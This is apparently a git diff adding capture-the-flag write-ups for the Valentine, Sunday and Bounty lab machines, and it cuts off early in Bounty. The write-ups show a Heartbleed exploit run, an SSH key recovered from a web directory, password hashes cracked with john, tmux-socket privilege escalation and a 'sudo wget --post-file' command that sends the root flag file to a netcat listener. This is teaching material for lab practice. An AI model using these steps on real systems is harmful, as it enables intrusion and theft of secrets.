fLR2Yev1T435MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBACc3NjB7 + cHUXjTxwdeFxkY0EFYPPy3EiHftGVLpiczrEQ7NiHTLGQ6apvxdlShBBhKWRaU+N + XGhsDkvBLUWJ3DSWwWM4pG9qmWPT241OCaaiIkVT4KcjRIc+x+91GWYNQvvdnFLO + 5CfrRGkFHwJT1E6vGXJejx6nhTmis88ByQ9g9D2NgcHENfQPAW1by7ONkqiXtV3S + q56X7q0yLQdSTe63dEzK8eSTN1KWUXDoNRfAYfHttJqKg2OUqUDVWkNzmUiIe4sP + csAwIHShdX+Jd8E5oty5C07FJrzVtW+Yf4h8UHKLuJ4E8BYbkxkc5vDcXnKByeJa + gRSFfyZx/VqBh9c= + -----END CERTIFICATE----- + Version: 2 + Serial Number: 85:ec:6d:f5:c5:84:b1:f2 + Signature Algorithm: sha1WithRSAEncryption + Issuer: /C=US/ST=FL/O=valentine.htb/CN=valentine.htb + Not valid before: Feb 6 00:45:25 2018 GMT + Not valid after: Feb 6 00:45:25 2019 GMT + Subject: /C=US/ST=FL/O=valentine.htb/CN=valentine.htb + Public Key Algorithm: rsaEncryption + RSA Public Key: (2048 bit) + Public-Key: (2048 bit) + Modulus: + 00:c3:28:17:ac:f8:19:2a:41:d2:8a:3f:ce:79:1c: + 19:f4:fb:48:fa:d3:2f:33:6b:6f:c8:9c:f9:a3:bf: + 19:66:a8:a1:8d:f9:22:62:0e:e1:9e:45:50:1f:59: + 2f:ac:ba:95:cf:af:23:aa:54:c9:64:40:0f:25:a8: + c5:dd:cb:c4:1c:87:0c:d2:73:12:2e:77:76:cf:89: + 48:fb:39:4a:e1:f5:3d:40:c3:b5:9a:82:68:f6:8d: + 8c:b2:4d:3f:4f:03:09:c0:ba:ad:74:5d:53:64:b0: + 57:6a:44:0f:1f:b7:f6:fb:05:88:ae:b2:c1:ca:de: + a6:fb:c5:66:77:46:29:75:60:d0:af:91:dd:59:30: + 3a:0b:8f:85:21:e5:5d:c8:22:1c:56:ea:7a:2f:0d: + 27:5c:e2:a7:d6:2e:55:46:17:87:22:d5:1b:66:62: + 25:85:fa:09:1c:38:6d:1b:14:9e:a9:7a:e0:31:4d: + 43:26:ce:b0:91:e6:d0:9b:48:d8:cf:4f:79:f9:af: + 12:44:d4:65:e4:ff:77:47:56:85:4d:3b:e9:ad:db: + 4d:eb:2d:29:97:f8:5a:9a:99:c3:ad:17:1a:6c:73: + a4:04:1f:e5:d5:8e:a8:c7:a6:20:ae:8a:e0:50:b8: + f1:b2:d2:48:de:7d:b3:89:0d:b6:e8:6d:c7:a3:82: + 5e:97 + Exponent: 65537 (0x10001) + X509v3 Extensions: + X509v3 Subject Key Identifier: + DC:D6:5B:22:6C:72:E0:13:C8:55:B2:7C:B4:76:61:EB:F5:4F:8D:F9 + X509v3 Authority Key Identifier: + keyid:DC:D6:5B:22:6C:72:E0:13:C8:55:B2:7C:B4:76:61:EB:F5:4F:8D:F9 + + X509v3 Basic Constraints: + CA:TRUE + Verify Certificate: + self signed certificate + + + +## **Part 2 : Getting User Access** + +Port 80 seems to be running Apache 2.2.22, let's run the dirbuster command to try and find out what are the directories we can find. + + + λ nihilist [ 10.10.14.48/23 ] [~] → dirb http://10.10.10.79/ + + ----------------- + DIRB v2.22 + By The Dark Raver + ----------------- + + START_TIME: Wed Nov 20 18:14:59 2019 + URL_BASE: http://10.10.10.79/ + WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt + + ----------------- + + GENERATED WORDS: 4612 + + ---- Scanning URL: http://10.10.10.79/ ---- + + http://10.10.10.79/cgi-bin/ (CODE:403|SIZE:287) + + http://10.10.10.79/decode (CODE:200|SIZE:552) + ==> DIRECTORY: http://10.10.10.79/dev/ + + http://10.10.10.79/encode (CODE:200|SIZE:554) + + http://10.10.10.79/index (CODE:200|SIZE:38) + + http://10.10.10.79/index.php (CODE:200|SIZE:38) + + http://10.10.10.79/server-status (CODE:403|SIZE:292) + + ---- Entering directory: http://10.10.10.79/dev/ ---- + (!) WARNING: Directory IS LISTABLE. No need to scan it. + (Use mode '-w' if you want to scan it anyway) + + ----------------- + END_TIME: Wed Nov 20 18:18:00 2019 + DOWNLOADED: 4612 - FOUND: 6 + + + +According to dirb, /dev seems to be listable. Let's fire up a web browser to check it. + + + λ nihilist [ 10.10.14.48/23 ] [~] → lynx http://10.10.10.79/ + + +![](prg/17_001.png) ![](prg/17_002.png) + +We seem to have found a key however it seems to be hexadecimal-encoded. We will first use the curl command with the -s and -k flags to download the encoded key. Then we will use the xxd command with the -r and -p flags to convert the key from hexadecimal to it's original ascii charcaters. + + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Valentine] → curl -sk http://10.10.10.79/dev/hype_key > hype_key + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Valentine] → cat hype_key | xxd -r -p + -----BEGIN RSA PRIVATE KEY----- + Proc-Type: 4,ENCRYPTED + DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46 + + DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R + 5y/b46+9nEpCMfTPhNuJRcW2U2gJcOFH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6 + 0EI0SbOYUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi + Ebw66hjFmAu4AzqcM/kigNRFPYuNiXrXs1w/deLCqCJ+Ea1T8zlas6fcmhM8A+8P + OXBKNe6l17hKaT6wFnp5eXOaUIHvHnvO6ScHVWRrZ70fcpcpimL1w13Tgdd2AiGd + pHLJpYUII5PuO6x+LS8n1r/GWMqSOEimNRD1j/59/4u3ROrTCKeo9DsTRqs2k1SH + QdWwFwaXbYyT1uxAMSl5Hq9OD5HJ8G0R6JI5RvCNUQjwx0FITjjMjnLIpxjvfq+E + p0gD0UcylKm6rCZqacwnSddHW8W3LxJmCxdxW5lt5dPjAkBYRUnl91ESCiD4Z+uC + Ol6jLFD2kaOLfuyee0fYCb7GTqOe7EmMB3fGIwSdW8OC8NWTkwpjc0ELblUa6ulO + t9grSosRTCsZd14OPts4bLspKxMMOsgnKloXvnlPOSwSpWy9Wp6y8XX8+F40rxl5 + XqhDUBhyk1C3YPOiDuPOnMXaIpe1dgb0NdD1M9ZQSNULw1DHCGPP4JSSxX7BWdDK + aAnWJvFglA4oFBBVA8uAPMfV2XFQnjwUT5bPLC65tFstoRtTZ1uSruai27kxTnLQ + +wQ87lMadds1GQNeGsKSf8R/rsRKeeKcilDePCjeaLqtqxnhNoFtg0Mxt6r2gb1E + AloQ6jg5Tbj5J7quYXZPylBljNp9GVpinPc3KpHttvgbptfiWEEsZYn5yZPhUr9Q + r08pkOxArXE2dj7eX+bq65635OJ6TqHbAlTQ1Rs9PulrS7K4SLX7nY89/RZ5oSQe + 2VWRyTZ1FfngJSsv9+Mfvz341lbzOIWmk7WfEcWcHc16n9V0IbSNALnjThvEcPky + e1BsfSbsf9FguUZkgHAnnfRKkGVG1OVyuwc/LVjmbhZzKwLhaZRNd8HEM86fNojP + 09nVjTaYtWUXk0Si1W02wbu1NzL+1Tg9IpNyISFCFYjSqiyG+WU7IwK3YU5kp3CC + dYScz63Q2pQafxfSbuv4CMnNpdirVKEo5nRRfK/iaL3X1R3DxV8eSYFKFL6pqpuX + cY5YZJGAp+JxsnIQ9CFyxIt92frXznsjhlYa8svbVNNfk/9fyX6op24rL2DyESpY + pnsukBCFBkZHWNNyeN7b5GhTVCodHhzHVFehTuBrp+VuPqaqDvMCVe1DZCb4MjAj + Mslf+9xK+TXEL3icmIOBRdPyw6e/JlQlVRlmShFpI8eb/8VsTyJSe+b853zuV2qL + suLaBMxYKm3+zEDIDveKPNaaWZgEcqxylCC/wUyUXlMJ50Nw6JNVMM8LeCii3OEW + l0ln9L1b/NXpHjGa8WHHTjoIilB5qNUyywSeTBF2awRlXH9BrkZG4Fc4gdmW/IzT + RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3 + -----END RSA PRIVATE KEY----- + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Valentine] → cat hype_key | xxd -r -p > Hype.ssh.key + + +Now we have decrypted the hype ssh key and saved it locally as "Hype.ssh.key" As a side note, the header of the ssh key says "Proc-Type" and "DEK-Info" which means that we will probably need a passphrase for the key. When we open the browser at the URL http://10.10.10.79/ we are greeted with an image that is an analogy to the Heartbleed Vulnerability. Let's test if this machine is vulnerable to the well-known Heartbleed vulnerability [(CVE-2014-0160)](https://www.us-cert.gov/ncas/alerts/TA14-098A). To do so we will first off download the according python script heartbleed.py and check how to use it. + + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Valentine] → curl -sk https://gist.githubusercontent.com/eelsivart/10174134/raw/8aea10b2f0f6842ccff97ee921a836cf05cd7530/heartbleed.py > heartbleed.py + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Valentine] → nano heartbleed.py + + +We will run the command using python2 and with the -n flag in order to increase our attempts at getting information from the machine. + + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Valentine] → python2 heartbleed.py 10.10.10.79 -n 201 + + defribulator v1.16 + A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160) + + ################################################################## + Connecting to: 10.10.10.79:443, 201 times + Sending Client Hello for TLSv1.0 + Received Server Hello for TLSv1.0 + + WARNING: 10.10.10.79:443 returned more data than it should - server is vulnerable! + Please wait... connection attempt 201 of 201 + ################################################################## + ).(B...}.@....SC[...r....+..H...9...BlCg== + ....w.3....f... + ...!.9.8.........5............... + .........3.2.....E.D...../...A.................................I......... + ........... + ...................................#.@....SC[...r....+..H...9... + ....w.3....f... + ...!.9.8.........5............... + .........3.2.....E.D...../...A.................................I......... + ........... + ...................................#.@....SC[...r....+..H...9... + ....w.3....f... + ...!.9.8.........5............... + .........3.2.....E.D...../...A.................................I......... + ........... + ...................................#.@....SC[...r....+..H...9... + ....w.3....f... + ...!.9.8.........5............... + .........3.2.....E.D...../...A.................................I......... + ........... + ...................................#.@....SC[...r....+..H...9... + ....w.3....f... + ...!.9.8.........5............... + .........3.2.....E.D...../...A.................................I......... + ........... + ...................................#.......0.0.1/decode.php + Content-Type: application/x-www-form-urlencoded + Content-Length: 42 + + $text=**aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==** + + +Looking at the results we see that it seems to have returned us a base64-encoded string. We will use the base64 command with the -d flag to decode the encoded string. + + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Valentine] → echo "aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==" | base64 -d + heartbleedbelievethehype + + +Now we will try to log onto the box through the ssh service using our decrypted Hype.ssh.key along with the passphrase "heartbleedbelievethehype" + + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Valentine] → ssh -i Hype.ssh.key hype@10.10.10.79 + The authenticity of host '10.10.10.79 (10.10.10.79)' cant be established. + ECDSA key fingerprint is SHA256:lqH8pv30qdlekhX8RTgJTq79ljYnL2cXflNTYu8LS5w. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.79' (ECDSA) to the list of known hosts. + @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ + @ WARNING: UNPROTECTED PRIVATE KEY FILE! @ + @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ + Permissions 0644 for 'Hype.ssh.key' are too open. + It is required that your private key files are NOT accessible by others. + This private key will be ignored. + Load key "Hype.ssh.key": bad permissions + + +Let's not forget to change the permissions of the SSH key to 600 _(read+write for root and nothing for groups + user)_ + + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Valentine] → ssh -i Hype.ssh.key hype@10.10.10.79 + Enter passphrase for key 'Hype.ssh.key': + Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64) + + * Documentation: https://help.ubuntu.com/ + + New release '14.04.5 LTS' available. + Run 'do-release-upgrade' to upgrade to it. + + Last login: Fri Feb 16 14:50:29 2018 from 10.10.14.3 + hype@Valentine:~$ uname -a + Linux Valentine 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux + + hype@Valentine:~$ cat /home/hype/Desktop/user.txt + e6XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +We have been able to print out the flag user, the combination of the SSH key and it's passphrase gave us access to the machine, which logged us as the "hype" user. + +## **Part 3 : Getting Root Access** + +In order to escalate privileges we will first have to take a look at what we can work with, starting with the .bash_history file. + + + hype@Valentine:~$ cat .bash_history + + exit + exot + exit + ls -la + cd / + ls -la + cd .devs + ls -la + tmux -L dev_sess + tmux a -t dev_sess + tmux --help + tmux -S /.devs/dev_sess + exit + + + +seems like the user hype was working with something within a hidden devs directory. Just like in the .bash_history file we will use the ls command with the -a flag in order to list the hidden files and then navigate our way in. + + + hype@Valentine:~$ cd / + hype@Valentine:/$ ls -la + total 108 + drwxr-xr-x 26 root root 4096 Feb 6 2018 . + drwxr-xr-x 26 root root 4096 Feb 6 2018 .. + drwxr-xr-x 2 root root 4096 Dec 11 2017 bin + drwxr-xr-x 3 root root 4096 Feb 16 2018 boot + drwxr-xr-x 2 root root 4096 Dec 11 2017 cdrom + drwxr-xr-x 13 root root 4060 Nov 20 09:07 dev + drwxr-xr-x 2 root root 4096 Dec 13 2017 devs + drwxr-xr-x 2 root hype 4096 Nov 20 09:07 .devs + drwxr-xr-x 132 root root 12288 Nov 20 09:07 etc + drwxr-xr-x 3 root root 4096 Dec 11 2017 home + lrwxrwxrwx 1 root root 32 Dec 11 2017 initrd.img -> boot/initrd.img-3.2.0-23-generic + drwxr-xr-x 21 root root 4096 Dec 11 2017 lib + drwxr-xr-x 2 root root 4096 Apr 25 2012 lib64 + drwx------ 2 root root 16384 Dec 11 2017 lost+found + drwxr-xr-x 3 root root 4096 Apr 25 2012 media + drwxr-xr-x 3 root root 4096 Dec 11 2017 mnt + drwx------ 2 root root 4096 Dec 13 2017 opt + dr-xr-xr-x 92 root root 0 Nov 20 09:07 proc + drwx------ 4 root root 4096 Feb 6 2018 root + drwxr-xr-x 20 root root 740 Nov 20 10:02 run + drwxr-xr-x 2 root root 4096 Feb 16 2018 sbin + drwxr-xr-x 2 root root 4096 Mar 5 2012 selinux + drwxr-xr-x 2 root root 4096 Apr 25 2012 srv + drwxr-xr-x 13 root root 0 Nov 20 09:07 sys + drwxrwxrwt 5 root root 4096 Nov 20 10:08 tmp + drwxr-xr-x 10 root root 4096 Apr 25 2012 usr + drwxr-xr-x 14 root root 4096 Feb 6 2018 var + lrwxrwxrwx 1 root root 29 Dec 11 2017 vmlinuz -> boot/vmlinuz-3.2.0-23-generic + hype@Valentine:/$ cd .devs + hype@Valentine:/.devs$ ls + dev_sess + + +let's simply reproduce the steps that hype was doing, which apparently was an attempt at attaching the socket to the dev_sess file + + + hype@Valentine:/.devs$ ls -l + total 0 + srw-rw---- 1 root hype 0 Nov 20 09:07 dev_sess + + +it seems like the dev_sess file is owned by root, let's attach the tmux session ourselves, and it should give us a root shell. + + + hype@Valentine:/.devs$ tmux -S dev_sess + + root@Valentine:/.devs# id + uid=0(root) gid=0(root) groups=0(root) + + root@Valentine:/.devs# cat /root/root.txt + f1XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/17_graph.png) + diff --git a/Easy/18.md b/Easy/18.md new file mode 100644 index 0000000..6a7c0ee --- /dev/null +++ b/Easy/18.md @@ -0,0 +1,316 @@ +# Sunday Writeup + +![](img/18.png) + +## Introduction : + +Sunday is an easy Solaris box that was released back in April 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + **λ nihilist [ 10.10.14.48/23 ] [~] → nmap -sC -sV -Pn 10.10.10.76** + Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-18 05:36 CET + Stats: 0:01:57 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan + NSE Timing: About 75.00% done; ETC: 05:38 (0:00:00 remaining) + Nmap scan report for 10.10.10.76 + Host is up (0.037s latency). + Not shown: 991 closed ports + PORT STATE SERVICE VERSION + **79/tcp open finger Sun Solaris fingerd + |_finger: No one logged on\x0D** + 111/tcp open rpcbind + 765/tcp filtered webster + 1839/tcp filtered netopia-vo1 + 1998/tcp filtered x25-svc-port + 2910/tcp filtered tdaccess + 9011/tcp filtered d-star + 16018/tcp filtered unknown + 54045/tcp filtered unknown + Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 117.78 seconds + + +Seems like we have alot of ports to work with. let's run another nmap scan, but this time to enumerate all the 65535 ports. + + + **λ nihilist [ 10.10.14.48/23 ] [~] → nmap -T4 -A -v -p- 10.10.10.76** + Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-18 05:37 CET + NSE: Loaded 151 scripts for scanning. + NSE: Script Pre-scanning. + Initiating NSE at 05:37 + Completed NSE at 05:37, 0.00s elapsed + Initiating NSE at 05:37 + Completed NSE at 05:37, 0.00s elapsed + Initiating NSE at 05:37 + Completed NSE at 05:37, 0.00s elapsed + Initiating Ping Scan at 05:37 + Scanning 10.10.10.76 [2 ports] + Completed Ping Scan at 05:37, 0.03s elapsed (1 total hosts) + Initiating Parallel DNS resolution of 1 host. at 05:37 + Completed Parallel DNS resolution of 1 host. at 05:37, 0.01s elapsed + Initiating Connect Scan at 05:37 + Scanning 10.10.10.76 [65535 ports] + Discovered open port 111/tcp on 10.10.10.76 + Increasing send delay for 10.10.10.76 from 0 to 5 due to 197 out of 492 dropped probes since last increase. + Increasing send delay for 10.10.10.76 from 5 to 10 due to max_successful_tryno increase to 5 + Warning: 10.10.10.76 giving up on port because retransmission cap hit (6). + Connect Scan Timing: About 1.74% done; ETC: 06:07 (0:29:08 remaining) + Connect Scan Timing: About 3.72% done; ETC: 06:05 (0:26:17 remaining) + Connect Scan Timing: About 8.36% done; ETC: 06:04 (0:24:51 remaining) + Connect Scan Timing: About 12.54% done; ETC: 06:04 (0:23:29 remaining) + Connect Scan Timing: About 17.15% done; ETC: 06:04 (0:22:04 remaining) + Connect Scan Timing: About 21.93% done; ETC: 06:04 (0:20:43 remaining) + Connect Scan Timing: About 27.43% done; ETC: 06:04 (0:19:21 remaining) + Connect Scan Timing: About 32.63% done; ETC: 06:04 (0:18:00 remaining) + Connect Scan Timing: About 37.81% done; ETC: 06:04 (0:16:38 remaining) + **Discovered open port 22022/tcp on 10.10.10.76 + Discovered open port 33890/tcp on 10.10.10.76** + Connect Scan Timing: About 43.04% done; ETC: 06:04 (0:15:15 remaining) + Connect Scan Timing: About 48.19% done; ETC: 06:04 (0:13:53 remaining) + Connect Scan Timing: About 53.48% done; ETC: 06:04 (0:12:33 remaining) + + +We have found the 22022nd and 33890th port, let's run yet another scan on these two ports to discover what service they are hosting. + + + λ nihilist [ 10.10.14.48/23 ] [~] → nmap -sC -sV 10.10.10.76 -p 22022,33890 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-20 09:15 CET + Nmap scan report for 10.10.10.76 + Host is up (0.085s latency). + + PORT STATE SERVICE VERSION + **22022/tcp open ssh SunSSH 1.3 (protocol 2.0)** + 33890/tcp closed unknown + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 35.14 seconds + + +Seems like we have a SSH port to work with ! it is running the SunSSH 1.3 protocol. +we will also be looking at the 79th port : fingerd Solaris. + +## **Part 2 : Getting User Access** + +Let's see what we can do with the 79th port that is running fingerd Solaris. We will be running the finger enumeration script by pentestmonkey : http://pentestmonkey.net/tools/user-enumeration/finger-user-enum + + + λ root [ 10.10.14.48/23 ] [_HTB/Sunday/finger-user-enum-1.0] → perl finger-user-enum.pl -U rockyou.txt -t 10.10.10.76 + + ######## Scan started at Wed Nov 20 09:58:10 2019 ######### + **sammy** @10.10.10.76: sammy pts/2 10.10.14.48 + **sunny** @10.10.10.76: sunny pts/3 10.10.14.48 + + +We now have 2 users to work with ! sammy and sunny + + + λ root [ 10.10.14.48/23 ] [_HTB/Sunday/finger-user-enum-1.0] → **ssh sunny@10.10.10.76 -p 22022** + Unable to negotiate with 10.10.10.76 port 22022: no matching key exchange method found. Their offer: gss-group1-sha1-toWM5Slw5Ew8Mqkay+al2g==,diffie-hellman-group-exchange-sha1,**diffie-hellman-group1-sha1** + + +We need to allow a ssh key algorithm exchange method to the 10.10.10.76 host into our ~/.ssh/config file. + + + λ root [ 10.10.14.48/23 ] [_HTB/Sunday/finger-user-enum-1.0] → echo "**Host 10.10.10.76** " >> ~/.ssh/config + + λ root [ 10.10.14.48/23 ] [_HTB/Sunday/finger-user-enum-1.0] → echo "**KexAlgorithms +diffie-hellman-group1-sha1** " >> ~/.ssh/config + + λ root [ 10.10.14.48/23 ] [_HTB/Sunday/finger-user-enum-1.0] → **ssh sunny@10.10.10.76 -p 22022** + The authenticity of host '[10.10.10.76]:22022 ([10.10.10.76]:22022)' cant be established. + RSA key fingerprint is SHA256:TmRO9yKIj8Rr/KJIZFXEVswWZB/hic/jAHr78xGp+YU. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '[10.10.10.76]:22022' (RSA) to the list of known hosts. + Password: + Last login: Tue Apr 24 10:48:11 2018 from 10.10.14.4 + Sun Microsystems Inc. **SunOS 5.11** snv_111b November 2008 + + +We see that the box is running SunOS 5.11, which is preety old, now we know why we needed to enable the old ssh algorithms for the client. + + + sunny@sunday:~$ cat / + cat: /: Is a directory + sunny@sunday:~$ CLEAR + -bash: CLEAR: command not found + sunny@sunday:~$ + sunny@sunday:~$ cat /home/sunny/user.txt + + +Here we see that the box is awfully slow and unresponsive. + + + sunny@sunday:~/Desktop$ cd /export/home/sammy + sunny@sunday:/export/home/sammy$ ls + Desktop Documents Downloads Public + sunny@sunday:/export/home/sammy$ cd Desktop + sunny@sunday:/export/home/sammy/Desktop$ ls + user.txt + sunny@sunday:/export/home/sammy/Desktop$ cat user.txt + cat: user.txt: Permission denied + + +Navigating to /export/home/sammy/desktop we see that we do not have permissions to read user.txt Our next step is to try to print out /etc/passwd and /backup/shadow.backup + + + **sunny@sunday:/export/home/sammy/Desktop$ cat user.txt** + cat: user.txt: Permission denied + + **sunny@sunday:/export/home/sammy/Desktop$ cat /etc/passwd** + root:x:0:0:Super-User:/root:/usr/bin/bash + daemon:x:1:1::/: + bin:x:2:2::/usr/bin: + sys:x:3:3::/: + adm:x:4:4:Admin:/var/adm: + lp:x:71:8:Line Printer Admin:/usr/spool/lp: + uucp:x:5:5:uucp Admin:/usr/lib/uucp: + nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico + dladm:x:15:3:Datalink Admin:/: + smmsp:x:25:25:SendMail Message Submission Program:/: + listen:x:37:4:Network Admin:/usr/net/nls: + gdm:x:50:50:GDM Reserved UID:/: + zfssnap:x:51:12:ZFS Automatic Snapshots Reserved UID:/:/usr/bin/pfsh + xvm:x:60:60:xVM User:/: + mysql:x:70:70:MySQL Reserved UID:/: + openldap:x:75:75:OpenLDAP User:/: + webservd:x:80:80:WebServer Reserved UID:/: + postgres:x:90:90:PostgreSQL Reserved UID:/:/usr/bin/pfksh + svctag:x:95:12:Service Tag UID:/: + nobody:x:60001:60001:NFS Anonymous Access User:/: + noaccess:x:60002:60002:No Access User:/: + nobody4:x:65534:65534:SunOS 4.x NFS Anonymous Access User:/: + sammy:x:101:10:sammy:/export/home/sammy:/bin/bash + sunny:x:65535:1:sunny:/export/home/sunny:/bin/bash + + **sunny@sunday:/export/home/sammy/Desktop$ cat /backup/shadow.backup** + mysql:NP::::::: + openldap:*LK*::::::: + webservd:*LK*::::::: + postgres:NP::::::: + svctag:*LK*:6445:::::: + nobody:*LK*:6445:::::: + noaccess:*LK*:6445:::::: + nobody4:*LK*:6445:::::: + sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445:::::: + sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636:::::: + + +Looking at the results we see that we have a few things to work with. we will be running the unshadow command onto the combination of the passwd.txt and shadow.txt files. First step is to save them locally, and we will run the command afterwards. + + + λ nihilist [ 10.10.14.48/23 ] [~] → cd _HTB + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB] → cd Sunday + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Sunday] → nano passwd.txt + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Sunday] → nano shadow.backup + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Sunday] → ls + finger-user-enum-1.0 passwd.txt progress.graphml shadow.backup + + **λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Sunday] → unshadow passwd.txt shadow.backup** + Created directory: /home/nihilist/.john + root:x:0:0:Super-User:/root:/usr/bin/bash + daemon:x:1:1::/: + bin:x:2:2::/usr/bin: + sys:x:3:3::/: + adm:x:4:4:Admin:/var/adm: + lp:x:71:8:Line Printer Admin:/usr/spool/lp: + uucp:x:5:5:uucp Admin:/usr/lib/uucp: + nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico + dladm:x:15:3:Datalink Admin:/: + smmsp:x:25:25:SendMail Message Submission Program:/: + listen:x:37:4:Network Admin:/usr/net/nls: + gdm:x:50:50:GDM Reserved UID:/: + zfssnap:x:51:12:ZFS Automatic Snapshots Reserved UID:/:/usr/bin/pfsh + xvm:x:60:60:xVM User:/: + mysql:NP:70:70:MySQL Reserved UID:/: + openldap:*LK*:75:75:OpenLDAP User:/: + webservd:*LK*:80:80:WebServer Reserved UID:/: + postgres:NP:90:90:PostgreSQL Reserved UID:/:/usr/bin/pfksh + svctag:*LK*:95:12:Service Tag UID:/: + nobody:*LK*:60001:60001:NFS Anonymous Access User:/: + noaccess:*LK*:60002:60002:No Access User:/: + nobody4:*LK*:65534:65534:SunOS 4.x NFS Anonymous Access User:/: + sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:101:10:sammy:/export/home/sammy:/bin/bash + sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:65535:1:sunny:/export/home/sunny:/bin/bash + + **λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Sunday] → unshadow passwd.txt shadow.backup > john_pwd.txt + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Sunday] → john john_pwd.txt --wordlist='/usr/share/wordlists/rockyou.txt'** + + +We use the rockyou.txt wordlist in combination with the john command and we find the password "cooldude!" for the sammy user. Using that we try to log in through SSH once more but this time as the sammy user. + + + λ root [ 10.10.14.48/23 ] [_HTB/Sunday/finger-user-enum-1.0] → ssh sammy@10.10.10.76 -p 22022 + Password: + Last login: Tue Apr 24 12:57:03 2018 from 10.10.14.4 + Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008 + sammy@sunday:~$ ls + Desktop Documents Downloads Public + sammy@sunday:~$ cd Desktop + sammy@sunday:~/Desktop$ cat user.txt + **a3XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX** + + + +And we have been able to ssh as the sammy user ! We have finally been able to reveal the user flag. + +## **Part 3 : Getting Root Access** + +First of all we run the sudo -l command to see what we can work with. + + + sammy@sunday:~/Desktop$ sudo -l + User sammy may run the following commands on this host: + **(root) NOPASSWD: /usr/bin/wget** + + +Interesting ! We seem to be able to run the wget command as root without any password. Let's run the command netcat command on a second terminal , and we will attempt to print out the root flag using wget's --post-file flag. + +_Terminal 2:_ + + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Sunday] → nc -lvnp **9001** + + +_Terminal 1:_ + + + sammy@sunday:~/Desktop$ **sudo wget --post-file=/root/root.txt 10.10.14.48:9001** + --08:49:44-- http://10.10.14.48:9001/ + => `index.html' + Connecting to 10.10.14.48:9001... connected. + HTTP request sent, awaiting response... + + +_Terminal 2:_ + + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Sunday] → **nc -lvnp 9001** + Connection from 10.10.10.76:48117 + POST / HTTP/1.0 + User-Agent: Wget/1.10.2 + Accept: + Host: 10.10.14.48:9001 + Connection: Keep-Alive + Content-Type: application/x-www-form-urlencoded + Content-Length: 33 + + **fbXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX** + + +And that's it ! We have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/18_graph.png) + diff --git a/Easy/19.md b/Easy/19.md new file mode 100644 index 0000000..350eb6d --- /dev/null +++ b/Easy/19.md @@ -0,0 +1,389 @@ +# Bounty Writeup + +![](img/19.png) + +## Introduction : + +Bounty is an easy Windows box that was released back in June 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 93.22.134.89 ] [~] → nmap -sC -sV 10.10.10.93 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-25 08:23 CET + Nmap scan report for 10.10.10.93 + Host is up (0.095s latency). + Not shown: 999 filtered ports + PORT STATE SERVICE 